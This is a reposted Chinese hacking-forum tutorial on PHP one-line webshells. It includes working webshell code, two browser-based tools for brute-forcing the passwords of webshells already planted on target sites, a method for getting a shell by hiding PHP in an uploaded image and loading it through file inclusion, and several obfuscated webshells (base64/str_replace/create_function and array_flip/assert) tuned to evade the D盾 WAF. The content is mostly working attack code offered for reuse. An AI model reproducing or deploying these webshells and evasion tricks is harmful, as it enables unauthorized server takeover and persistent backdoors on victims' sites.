一、前言本文原创作者:sucppVK,本文属i春秋原创奖励计划,未经许可禁止转载!
各个论坛出了不少过waf的一句话
可笔者见还是有不少小白没有理解一句话(只知道是拿来链接菜刀)
今天打算做一篇面向初学者的教程,总结知识点,抛砖引玉。
让小白从彻底理解马的含义,到打造属于自己过waf的马。
--------------目录------------------------------------------------------------------
php一句话含义
用js+php打造高效率一句话爆破脚本(知识扩充:CORS与AJAX)
简单介绍一句话上传攻防
一句话过waf思路
----------------------------------------------------------------------------------------------
二、正文
-----------0x01.php一句话含义---------------------------------------------------
一句话木马:
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
先来瞅瞅最原始的一句话是啥样子:
[PHP] 纯文本查看 复制代码?
1 | <?php @ eval ( $_POST [ 'pw' ]); ?> |
看到只能赞叹前辈的智慧,我们这一代始终是站在巨人的肩膀上。
而小白看到这个会想到什么呢?
哦,密码是pw
这句话什么意思呢?
php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
@符号的意思是不报错。
例如:
如果没有@,如下图,就会报错
为什么呢?
因为一个变量没有定义,就被拿去使用了,
服务器就善意的提醒:Notice,你的xxx变量没有定义。
这不就暴露了密码吗?
所以加上@
为什么pw是密码呢?
那就要来理解这句话的意思了
php里面几个超全局变量
$_GET、$_POST就是其中之一
$_POST['a'];
意思就是a这个变量,用post的方法接收。
(传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2))
eval()
把字符串作为PHP代码执行
例如:eval("echo 'a'");其实就等于直接 echo 'a';
再来看看<?php eval($_POST['pw']); ?>
首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';
这时代码就变成<?php eval("echo 'a';"); ?>
结果:
连起来意思就是:
用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行
所以也就能这么玩:
也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马
你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()和readdir()等等
想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file,当然相应的html要写好
你想执行cmd命令,则用exec()
当然前提是:
php配置文件php.ini里,关掉安全模式safe_mode = off,
然后在看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec。
(有些cms为了方便处理某些功能,会去掉的)
看看效果:
现在应该理解,为什么说一句话短小精悍了吧!
--------------------------------------------------------------------------------
-----------0x02.用js+php打造高效率爆破一句话脚本----------------
用来接收的变量可以随便写,
例如<?php @eval($_POST['aadhqdssjdodjsijsdmzodjihdaisjd']); ?>
那么变量就是aadhqdssjdodjsijsdmzodjihdaisjd,也就是所谓的密码
那如果,在扫描目录的时候,发现某个可疑目录,
例如:www.dedecms.com/include/taglib/yijuhua.php
扫到了的返回信息是200 ok
但是打开却是空的,我们就有理由相信:这很可能是别人留下的后门(一句话木马)
这时候,咱们就可以尝试爆破这个密码
a=echo 'okok';
没有回显,不对
b=echo 'okok';
没有回显,不对
.
.
.
这样可以吗,可以,但太慢了。
吐司论坛上,接地气表哥就已经给出过思路,用&连接多个变量参数,一次测试多个参数
这样可以让你的爆破效率提高千倍
比如
一次放几百个参数,只要里面恰好有那个密码,就会有回显!
tip:阿帕奇最多接收1000参数
咱们i春秋论坛已经有人给出py脚本,这里给出js+php的,大家完善+修改后,就可以放到自己的网站上,丰富网站功能
奸笑一下,为什么说是完善+修改呢?一会再说
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <title>一句话爆破</title> </head> <body> <div id="div" style="margin:0 auto; width:500px;"> <form action="" method="post"> 目标网址: <input type="text" id="decurl" name="decurl" style="width:400px" value="<?php echo @$_POST['decurl'] ?>" /><br> <textarea name="dic" id="dic" cols="30" rows="10" style="resize:none; width:490px; height:290px;"></textarea> <input type="button" name="" id="" value="开始爆破" onclick= go(); /> <input type="text" name="dicfile" id="dicfile" value="<?php if(@$_POST['dicfile']) echo $_POST['dicfile']; else echo "爆破字典"; ?>"/> <input type="submit" name="" id="" value="导入字典" onclick=dr(); /> </form> <?php //接收字典,放进textarea里面。 if (@$dicfile = $_POST['dicfile']){ $str = file_get_contents($dicfile); $dicarr = split("\r\n",$str); $dic = ""; echo "<pre>"; print_r($dicarr); echo "</pre>"; for($i=0;$i<count($dicarr);$i++){ $dicarr[$i] = preg_replace('/\;/','',$dicarr[$i]); //去掉影响要素 $dic .='&'.$dicarr[$i].'=echo "okok";'; } $dic = addslashes($dic); echo " <script> var str = document.getElementById('dic'); dic.innerHTML = '{$dic}'; </script>"; } ?> </div> <script> //创建xmlhttp对象函数 function getxmlhttp(){ if (window.XMLHttpRequest){ var xmlhttp = new XMLHttpRequest(); }else{ var xmlhttp = new ActiveXobject("microsoft.HMLHttp"); } return xmlhttp; } //爆破函数主体 function go(){ var dic = "<?php echo $dic; ?>"; //获取字典 var decurl = document.getElementById("decurl"); //获取目标url var xmlhttp = getxmlhttp(); //判断字典是否超过1000条 var dicarr = []; var steparr = []; dicarr = dic.split(";"); //把字典分开,变成数组 step = Math.floor((dicarr.length - 1)/900); //step储存需要分几步爆破 for(i=0;i<=step;i++){ for(j=(i*900);j<(i*900+900);j++){ if (dicarr[j] == undefined) break; steparr[i] += dicarr[j] + ";"; } } //return false; //开始爆破 for (i=0;i<=step;i++){ xmlhttp.open("POST",decurl.value,false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send(steparr[i]); var result = xmlhttp.responseText; if(result == "okok") { select(steparr[i],decurl.value); return ture; } } alert(/no/); } //缩小密码所在范围 function select(str,decurl){ var xmlhttp = getxmlhttp(); var strarr = str.split(";"); if (strarr.length <= 4){ getpw(strarr,decurl); return ture; } mid = Math.floor(strarr.length/2); var str1 = ""; var str2 = ""; for (i=0;i<mid;i++) str1 += strarr[i] + ";"; xmlhttp.open("POST",decurl,false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send(str1); var result = xmlhttp.responseText; if(result == "okok") select(str1,decurl); else{ for (i=mid;i<strarr.length;i++) str2 += strarr[i] + ";"; select(str2,decurl); } alert(str); } //爆破最终密码 function getpw(strarr,decurl){ xmlhttp = getxmlhttp(); for (i=0;i<strarr.length;i++){ strarr[i] = strarr[i] + ";"; xmlhttp.open("POST",decurl,false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send(strarr[i]); var result = xmlhttp.responseText; if (result == "okok"){ alert("password is:"+strarr[i]); return ture; } } } </script> </body> </html>
这里,接收到字典以后,先除以900(照顾Apache,如果表哥们有精力,可以加上服务器识别,然后相应给参数)
除以900的意思,就是把字典分成若干份,每份900个参数
分别递交给一句话
如果没有回显,说明这部分不含正确密码(就是那个post接收的参数)
那就拉倒,下一部分继续
但是一旦出现回显:okok,(我给的)
那么就进入缩小范围的自定义js函数select()
运用二分法,分别筛选,最后找出正确密码:
代码比较简陋,8000.txt是8000个常用密码
要放在脚本相同目录下。
好了,细心的同学一定发现了,这里有一个天坑:
整个爆破主体是用js写的,准确说是js里的ajax
因此要遵循CORS(跨源资源共享)
如果不同域,且目标没有'Access-Control-Allow-Origin'的消息头
那就会被拒绝:
如果目标有消息头:'Access-Control-Allow-Origin:*’
代表允许任意域的跨站资源共享请求
<?php header("Access-Control-Allow-Origin:*"); @eval($_POST['hello']); ?>
那就成功:
CORS并不难,但是很多程序员用不懂,不懂用,导致了信息泄露
感兴趣的可以看看:https://developer.mozilla.org/zh ... Access_control_CORS
--------------------知识拓展-----------------------------------------------------------------------------
ajax是指一种创建交互式网页应用的网页开发技术
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。
这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
开发者的初衷就是增加用户体验,比如你添加个购物车,如果刷新一下页面,是不是会很恶心
用了ajax就能完美实现购物车功能,而不影响用户体验
那么到了黑客手里就变成杀人于无形的武器
(主要用于xss,csrf)
前提是你要先把cors搞清楚,本来cors是用来满足各个不同web程序的奇葩要求。
但是由于很多程序员搞不会,在调试脚本时,就匆匆用Access-Control-Allow-Origin:*
于是就造成信息泄露(facebook前一阵子就出了这个洞,黑客成功盗取用户聊天记录)
简单介绍下ajax,
ajax的核心是XMLHttpRequest(简称xhr),但是IE7前不支持xhr对象,因此一般获取这个对象需要这样:
var xmlhttp if (window.XMLHttpRequest){ xmlhttp = new XMLHttpRequest(); //IE7及以上浏览器,firefox,Chrome,Opera,Safari }else{ xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); //IE7以下浏览器 }
ajax是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一个域。
然而CORS推出后,则给跨域提供了一条路,要想了解,参见上面给的链接。
取到xhr对象后,用open来发送数据。
接着上面代码
xmlhttp.open(method, url ,ture/false)
xmlhttp.send(something);
如果是post,则在下面的send里面放参数
如果是get,则在url里放参数
一个不错的xss攻击框架——BeEF就是用ajax技术,每隔几秒钟发一次信息,时刻保持联系
若要学习ajax,推荐百度一下:w3c菜鸟学院
这里说明一下,为什么要用ajax做这个脚本呢
本人并不希望大家直接把代码拷回去直接用,思路已经详细给出了,用php等很多语言能完成,希望大家可以动手写一写
拓展一下ajax和cors,这将是一个影响深远的安全问题
-----------0x03.简单介绍一句话上传攻防---------------------------------------------------我们要拿下一个网站的shell,一个思路就是找到上传点
把木马传过去,然后该干嘛干嘛
一般来说上传点并不尽如人意
会对上传文件作出限制,例如只能传图片
如果只是简单地本地对Mime进行验证。
那么用burpsuite拦截,修改即可
还有很多其他的方法,针对不同服务器,不同版本,应对措施不一样(00截断,畸形解析,;截断)
若是服务器对上传的文件进行验证,有什么办法呢?
防:本地js对后缀名验证
攻:上传时,后缀先改成xxx.jpg,然后抓包拦截修改后缀成php
防:用函数对图片进行校验(随机取点验证)
攻:制作图片马,综合别的漏洞来解析图片马
防:上传文件改名字,改路径,不告知路径
攻:........
制作图片马方法不少
这里介绍一种最简单的,图片用txt打开,把一句话直接加进图片里面
然后利用本地包含漏洞:
测试了一下,只能用phpinfo(),不能用fopen写出新木马
这里也求大牛出来解决下。
---解决了-----------------------
刚觉得不甘心,又拿dvwa做了做实验,灵光一闪,突然想到我们直接可以写个生成新文件的代码
生成新的一句话,
我们先重新审一下思路,
上传点做了限制,必须传图片。
我们随便找一个图片,用txt打开,加入php代码:
<?php $op = fopen("fuck.php", "a+"); fwrite($op, '<?php @eval($_POST["hello"]); ?>'); fclose($op); ?>
如图:
成功上传:
上传成功+知道路径+成功解析=getshell
很可惜这里后缀名是png,
Apache服务器会认为这是图片,不会把他解析成php
因此没有卵用。。不信可以访问看看:
为什么会这样呢?
因为还缺了一步:成功解析
如果这个网站还存在文件包含漏洞
那么我们可以把这个图片包含进来,包含的文件无论是什么后缀,都会被当成php解析!(注意url)
成功了
我们的代码意思是:在同目录下创建名字是fuck.php,内容为一句话木马的文件
我们尝试访问:
你get到了吗?
-----------0x01.一句话过waf思路---------------------------------------------------
很多时候,我们辛辛苦苦上传的一句话,没过多久,就发现菜刀连不上了
这时候可能是因为管理员没事干,开了类似d盾的waf,把后门扫出来了
我们来看看原生态php一句话,在d盾面前是什么样子的:
妥妥的被杀嘛。。
waf主要是对敏感单词进行分析,用正则去匹配恶意代码
那么我们一般要怎么去绕过waf的正则呢?
网上给出的思路无非是把关键字打碎,再组合。例如:
<?php $pn="CslRfUE9TVFsnYydd"; $gy=""; $lsg = str_replace("d","","dsdtdrd_drdedpldadce"); $bx="KTs="; $eep="slIEBldmFsK"; $qkj = $lsg("y", "", "ybyaysyey64y_ydecyodye"); $do = $lsg("tz","","tzcrtzetzatzttzetz_funtzctzttziotzn"); $lct = $do('', $qkj($lsg("sl", "", $eep.$gy.$pn.$bx))); $lct(); ?>
替换,编码混淆,动态创建函数,变量函数
你以为这样就逃出d盾法眼了吗?
很正常,一个新的过waf一句话传出去,很快各个waf就会制定新规则,并且把新的马列入黑名单,
一旦出现一模一样的马,就标记威胁级别5,已知后门!
我们分析一下这个过waf的思路,尝试自己改造
$lsg实质就是一个变量函数,代表的函数是str_replace(替换)
$qkj也是变量函数,代表的函数是base64_decode(base64解码函数)
$do同样,代表的函数是create_function(创建匿名函数)
剩下几个变量,就是加入了sl混淆的base64.
最终结果是$lct赋予函数
函数内容是:@eval($_POST['c'])
我们照这思路改一改:
<?php $do = str_replace('sl','','crsleaslte_fslunslction'); $a1 = "IEBldmFsKCRfU"; $a2 = "E9TVFsnZmJpJ10pOw=="; $xx = $do('',base64_decode($a1.$a2)); $xx(); ?>
显然密码是fbi
我看看d盾扫描结果
威胁级别3,可疑变量函数
凑合,没有直接说后门就不错了。
笔者尝试多种修改,多种混淆,始终是下不去3
最后换了个思路(来自08sec一个成员,曾发布在吐司,但有些小问题,笔者修改了一下),
用php函数array_flip,数组键值对互换,来完成免杀
看看代码:
<?php $a1 = "ass"; $a2 = "ert"; $arr=array($a1.$a2=>"test"); $arr1=array_flip($arr); $arr2 = "$arr1[test]"; @$arr2($_REQUEST['123']); ?>
分析一下,$arr是数组,$arr['assert']='text'
$arr被函数处理,键值对互换后放入$arr1
$arr1['text']='assert'
$arr2=assert了
assert()函数和eval类似,
注意一下,这里,eval不是函数。所以用函数变量的方法是不行的
不信可以自己试试
因此这里笔者才用assert,有部分限制,但是菜刀链接没问题
再来看看d盾扫描结果:
免杀成功,估计不久后就要被杀了
大家且用且珍惜
其实把思路学到手,稍微改改就差不多能免杀了
三、结束语编程挺重要的,希望大家没事就把一些常用的脚本语言入个门吧,不写程序,起码也得看得懂代码啊,
还有就是多谷歌、多谷歌、多谷歌
看到陌生函数,陌生代码语句,谷歌,学会自学!
四、参考资料
《Web前端黑客技术揭秘》、《黑客攻防技术宝典web实战篇》
==================================================================================================
ajax来做爆破 想法是很好的 不过代码写的有点问题,千万别放自己网站上哦。
if (@$dicfile = $_POST['dicfile']){ $str = file_get_contents($dicfile);
如果POST dicfile=index.php 妥妥的任意文件读取嘛。。。
还有就是楼主可能没仔细看快速爆破的方法,楼主的方法是
a=echo "ok";&b=echo "ok";&c=echo "ok";aabbcc=echo "ok";……………………
然后二分法再缩小范围 其实完全不用 只要改一下
a=echo "a";&b=echo "b";&c=echo "c";&aabbcc=echo "aabbcc" ……………………
只要看echo回来的是什么 密码就是什么
还有就是js跨域的问题,反正都已经用上php了 不如就直接用php的curl库来做请求
或者 索性打算纯静态html+js的话 javascript也有跨域的方法 jsonp
修改一下 a=echo $_GET['callback'].'({"result":"a"})';
然后用jquery的ajax就行了。有时间我写个纯html+js的爆破贴在这里。
——————
更新 忘了jsonp不支持post 还是算了 哈哈
——————
再更新 忘了可以自己加Access-Control-Allow-Origin头- - 继续写。。。
——————
最后更新,写好了 纯html+js 可以安全放在自己网站上 不过也有个缺点就是得自己粘贴字典 js没那个能力操作本地文件。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" /> <title>一句话爆破</title> </head> <body> <div id="div" style="margin:0 auto; width:500px;"> 目标网址: <input type="text" id="decurl" name="decurl" style="width:400px" value="" /><br /> <textarea name="dic" id="dic" cols="30" rows="10" style="resize:none; width:490px; height:290px;"> </textarea> <input type="button" name="" id="" value="开始爆破" /> <p id="succ" style="font-size : 1em;color : #f00;"></p> </div> <script type="text/javascript"> function $(id) { return document.getElementById(id); } function go() { var dics = new Array(); var url = $('decurl'); var dic = $('dic'); var payload = ''; dics = dic.value.split(/\r?\n/); head = 'header(\'Access-Control-Allow-Origin: *\');' head += 'header(\'Access-Control-Allow-Methods: POST\');' for (var i = 0; i < dics.length; i++) { var ret = false payload += dics[i] + '=' + head + 'echo "pass:' + dics[i] + '";&'; if (i > 0 && i % 900 == 0 || i == dics.length - 1) { console.log('-----------') console.log(i); try { ret = ajax(url, payload); } catch (e) {} payload = ''; if (ret) { break; console.log('done'); } } } } function ajax(url, payload) { var xmlhttp = getxmlhttp(); xmlhttp.open("POST", url.value, false); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.send(payload); var result = xmlhttp.responseText; if (result.indexOf('pass:') != -1) { succ(result); return true; } return false; } function succ(value) { $('succ').innerHTML = "爆破成功!" + value; } function getxmlhttp() { if (window.XMLHttpRequest) { var xmlhttp = new XMLHttpRequest(); } else { var xmlhttp = new ActiveXobject("microsoft.HMLHttp"); } return xmlhttp; } </script> </body> </html>
本文摘自http://bbs.ichunqiu.com/thread-17816-1-1.html 主要供自己学习用。感谢原作者sucppVK!
没有评论,留下你的印记,证明你来过。
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。